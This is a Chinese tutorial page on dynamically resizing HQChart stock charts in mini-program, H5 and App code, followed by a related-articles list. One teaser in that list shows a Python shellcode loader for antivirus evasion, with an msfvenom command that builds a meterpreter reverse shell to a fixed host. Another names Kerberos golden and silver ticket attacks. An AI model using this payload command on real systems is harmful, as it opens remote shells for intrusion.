HQChart实战教程66-动态调整HQChart布局大小

HQChart实战教程66-动态调整HQChart布局大小

  • 需求
  • 小程序
  • h5
  • App
  • HQChart插件源码地址

需求

在不销毁hqchart实例的情况下,动态调整K线图或分时图的大小, 如下图,把图1的K线图大小调整为图2的大小

图1 在这里插入图片描述
图2在这里插入图片描述

小程序

调整画布大小,并把当前的画布大小设置到hqchart里面,然后调用hqchart实例的OnSize()函数就可以。

   <canvas class="historychart"  id='historychart' type="2d"  style="height:{{Height}}px; width:{{Width}}px;" bindtouchstart='historytouchstart' bindtouchmove='historytouchmove' bindtouchend='historytouchend'></canvas>..........OnChangeSize(event){var width=300;var height=600;this.setData({ Width: width, Height: height}, () => {});this.HistoryChart.CanvasElement.Width=width;this.HistoryChart.CanvasElement.Height=height;var node =  this.HistoryChart.CanvasElement.CanvasNode.node;node._width=width;node._height=height;//const dpr = wx.getSystemInfoSync().pixelRatio;node.width = width;node.height = height;this.HistoryChart.OnSize();},

h5

调整绑定的div的大小 然后调用hqchart实例的OnSize()函数就可以

 <div id="kline" >..........
this.DivKLine=document.getElementById('kline');
.....this.OnSize=function()  //自适应大小调整
{var height= $(window).height()-50;var width = $(window).width();//width=50000;this.DivKLine.style.top='0px';this.DivKLine.style.left='0px';this.DivKLine.style.width=width+'px';this.DivKLine.style.height=height+'px';this.Chart.OnSize();}

App

调整画布大小,并把当前的画布大小设置到hqchart里面,然后调用hqchart实例的OnSize()函数就可以。


<view><canvas id="kline2" canvas-id='kline2' class='kline2' v-bind:style="{width: ChartWidth+'px', height: ChartHeight+'px'}" @touchstart="KLineTouchStart" @touchmove='KLineTouchMove' @touchend='KLineTouchEnd' ></canvas>  
</view>OnTestChangeSize()
{this.ChartHeight=500;  this.ChartWidth=300;g_JSChart.CanvasElement.Width=this.ChartWidth;g_JSChart.CanvasElement.Height=this.ChartHeight;g_JSChart.OnSize();
},

HQChart插件源码地址

https://github.com/jones2000/HQChart

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/102925.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

echrat 的tooltip轮播播放高亮

在src目录下建立utils文件建立tooltip-auto-show-vue.js export function autoHover(myChart, option, num, time) {var defaultData {// 设置默认值time: 2000,num: 100}if (!time) {time defaultData.time}if (!num) {num defaultData.num}var count 0var timeTicket n…

(c语言进阶)指针的进阶

一.字符指针 1.一般应用 &#xff08;1&#xff09;%c的应用 &#xff08;2&#xff09;%s的应用 字符指针没有权限通过解引用去改变指针指向的值 2.笔试题 题目&#xff1a;判断输出结果 int main() { const char* p1 "abcdef"; const char* p2 "…

前端开发工具vscode

一、下载安装 https://code.visualstudio.com/ 二、安装插件 三、使用 ①、创建一个空目录 ②、利用vscode工具打开该目录 ③、将该目录设置为工作区 在工作区中添加文件&#xff0c;还可以进行浏览器访问&#xff08;提前安装了Live Server插件&#xff09; 为工具…

Dubbo-SPI机制

1、Java的SPI机制 SPI的全称是Service Provider Interface&#xff0c;是JDK内置的动态加载实现扩展点的机制&#xff0c;通过SPI可以动态获取接口的实现类&#xff0c;属于一种设计理念。 系统设计的各个抽象&#xff0c;往往有很多不同的实现方案&#xff0c;在面向的对象的…

黄金票据与白银票据

文章目录 黄金票据与白银票据1. 背景2. 具体实现2.1 Kerberos协议认证流程 3. 黄金票据3.1 条件3.2 适用场景3.3 利用方式 4. 白银票据4.1 条件4.2 适用场景4.3 利用方式 5. 金票和银票的区别5.1 获取的权限不同5.2 认证流程不同5.3 加密方式不同 6. 经典面试题6.1 什么是黄金票…

018-第三代软件开发-整体介绍

第三代软件开发-整体介绍 文章目录 第三代软件开发-整体介绍项目介绍整体介绍Qt 属性系统QML 最新软件技术框架 关键字&#xff1a; Qt、 Qml、 属性、 Qml 软件架构 项目介绍 欢迎来到我们的 QML & C 项目&#xff01;这个项目结合了 QML&#xff08;Qt Meta-Object …

97 # session

koa 里的 cookie 用法 koa 里内置了设置 cookie 的方法 npm init -y npm i koa koa/router用法&#xff1a; const Koa require("koa"); const Router require("koa/router"); const crypto require("crypto");const app new Koa(); let …

【ESP32 + Edge Impulse平台】模拟多传感器数据融合实验测试

本文章主要记录利用 【ESP32 + Edge Impulse平台】完成数据集的采集、训练、测试、模型部署和运行,实现多传感器数据的融合 目录 1. 实验描述1.1【场景1固件】1.2【场景2固件】2.数据集采集2.1 数据集12.1 数据集23.数据集训练3.1 生成数据特征3.2 选用分类器训练数据集3.3 模…

【MySQL】内置函数——数学函数+其他函数

文章目录 一. 数字函数二. 其他函数 一. 数字函数 函数名称描述abs()绝对值函数bin()十进制转换二进制hex()转换成十六进制conv(number,from_base,to_base)将number从from_base转换成to_base进制ceiling()向上取整floor()向下取整format(number,decimal_places)格式化&#xf…

3D 生成重建004-DreamFusion and SJC :TEXT-TO-3D USING 2D DIFFUSION

3D 生成重建004-DreamFusion and SJC &#xff1a;TEXT-TO-3D USING 2D DIFFUSION 文章目录 0 论文工作1 论文方法1.1论文方法1.2 CFG1.3影响1.4 SJC 2 效果 0 论文工作 对于生成任务&#xff0c;我们是需要有一个数据样本&#xff0c;让模型去学习数据分布 p ( x ) p(x) p(x…

易点云CFO向征:CFO不能只讲故事,价值创造才是核心

作者 | 曾响铃 文 | 响铃说 在今年6月初&#xff0c;也是易点云上市6天后&#xff0c;《巴伦周刊》正式启动评价“2023港美上市中国企业CFO精英100”的活动。 时间来到9月&#xff0c;评价揭秘&#xff0c;易点云CFO向征成功入选&#xff0c;被评为“年度最具成长潜力CFO”…

windows创建服务:更新服务信息乱码问题(ChangeServiceConfig)

因为小项目需要创建windows服务&#xff0c;安装微软官方示例一切都挺顺利&#xff0c;代码运行后发现配置的信息在系统里显示乱码。打开注册表发现的确是乱码。这就排除软件读取得问题&#xff0c;而是调用ChangeServiceConfig系统函数写入时就发生了乱码。让我在网上查找了一…

Linux Namespace:轻量级虚拟化技术简介

Linux Namespace&#xff1a;轻量级虚拟化技术简介 当我们谈论虚拟化技术时&#xff0c;可能首先想到的是像 VMware 或 VirtualBox 这样的全虚拟化解决方案&#xff0c;或者是像 Xen 或 KVM 这样的硬件辅助虚拟化技术。然而&#xff0c;Linux 系统中内置了一种轻量级的虚拟化技…

python加载shellcode免杀

1、第一个shellcode加载器 import ctypes# msf生成的shellcode&#xff0c;命令&#xff1a;msfvenom -e x64/xor_dynamic -i 16 -p windows/x64/meterpreter_reverse_tcp lhost192.168.111.111 lport80 -f py -o shell.py buf b"" buf b"\xeb\x27\x5b\x53\…

【Go】gin框架生成压缩包与下载文件

在没有加入下面这串代码之前&#xff0c;下载的压缩包一直为空。遂debug了两个小时。。。 可以在服务端本地创建压缩包。单独将服务端本地的压缩包发送给客户端也是没问题的。但是两个合起来&#xff0c;客户端接收到的压缩包内容就为空了。 期间也尝试了 zipFile.Close() zipW…

解决Springboot集成RabbitMQ不自动生成队列的问题

1.RabbitMQ消息的消费端服务 RabbitMQ懒加载模式&#xff0c; 需要配置消费者监听才会创建 RabbitListener(queues "test.queue")另外一种方式(若Mq中无相应名称的队列,会自动创建Queue),改为如下 RabbitListener(queuesToDeclare { Queue(value "test.queu…

MAX17058_MAX17059 STM32 iic 驱动设计

本文采用资源下载链接&#xff0c;含完整工程代码 MAX17058-MAX17059STM32iic驱动设计内含有代码、详细设计过程文档&#xff0c;实际项目中使用代码&#xff0c;稳定可靠资源-CSDN文库 简介 MAX17058/MAX17059 IC是微小的锂离子(Li )在手持和便携式设备的电池电量计。MAX170…

关于Win系统提示由于找不到msvcr120.dll文件问题解决办法

在我使用电脑的过程中&#xff0c;突然弹出了一个错误提示框&#xff0c;提示我系统中缺少msvcp120.dll文件。这个文件是系统运行所必需的&#xff0c;缺少它可能会导致一些软件无法正常运行。经过一番搜索和咨询&#xff0c;我找到了以下几种解决方案&#xff0c;分享给大家&a…

OpenCV中initUndistortRectifyMap ()函数与十四讲中去畸变公式的区别探究

文章目录 1.十四讲中的去畸变公式2. OpenCV中的去畸变公式3. 4个参数和8个参数之间的区别4.initUndistortRectifyMap()函数源码 最近在使用OpenCV对鱼眼相机图像去畸变时发现一个问题&#xff0c;基于针孔模型去畸变时所使用的参数和之前十四讲以及视觉SLAM中的畸变系数有一点不…